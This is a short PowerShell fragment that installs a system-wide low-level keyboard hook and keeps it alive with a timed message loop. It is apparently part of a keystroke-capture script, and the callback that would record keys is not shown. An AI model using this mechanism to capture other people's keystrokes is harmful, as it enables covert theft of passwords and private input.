HookMessageLoop.ps1

# Set WM_KEYBOARD_LL hook
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)

$Stopwatch = [Diagnostics.Stopwatch]::StartNew()

# Message loop
while ($true) {
    if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
    $PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
    Start-Sleep -Milliseconds 10
}